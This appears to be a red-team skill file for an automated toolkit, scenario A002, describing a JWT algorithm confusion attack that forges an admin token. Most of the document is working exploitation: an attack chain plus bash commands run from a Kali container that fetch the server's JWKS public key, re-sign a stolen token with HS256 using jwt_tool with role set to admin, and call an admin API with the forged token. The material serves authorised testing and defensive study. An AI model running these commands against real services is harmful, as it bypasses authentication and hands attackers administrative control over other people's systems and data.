---
name: rt-scenario-a002
description: "Scenario A002 — API: JWT algorithm confusion (RS256→HS256) → full authentication bypass → admin takeover. Chain: JWT analysis → key confusion → forge admin token."
---

# Scenario A002: JWT Algorithm Confusion → Admin Takeover

**Domain**: API Security — Authentication
**Severity**: Critical
**CVSS**: 9.8
**OWASP API Top 10**: API2:2023 — Broken Authentication

---

## Attack Chain

```
1. Obtain valid JWT token (low-priv user)
2. Decode header: {"alg":"RS256","typ":"JWT"}
3. Fetch server's public key from /jwks.json or /.well-known/jwks.json
4. Sign forged token with public key using HS256 algorithm
5. Server verifies with HS256(public_key) instead of RS256 → passes
6. Set role:"admin" → full admin access
```

## Exploitation

```bash
# Step 1: Get public key
docker exec rtexit-kali bash -c "
curl -sk 'https://{target}/.well-known/jwks.json'
curl -sk 'https://{target}/.well-known/openid-configuration' | python3 -c \"
import sys,json
d=json.load(sys.stdin)
print(d.get('jwks_uri',''))
\""

# Step 2: jwt_tool algorithm confusion attack
docker exec rtexit-kali bash -c "
jwt_tool {stolen_token} -X k -pk /tmp/pubkey.pem \
  -I -pc role -pv admin
"

# Step 3: Test forged token
docker exec rtexit-kali bash -c "
curl -sk 'https://{target}/api/admin/users' \
  -H 'Authorization: Bearer {forged_token}'"
```

## Skills Used

→ `rt-exploit-jwt` → `rt-exploit-auth` → `rt-exploit-api`
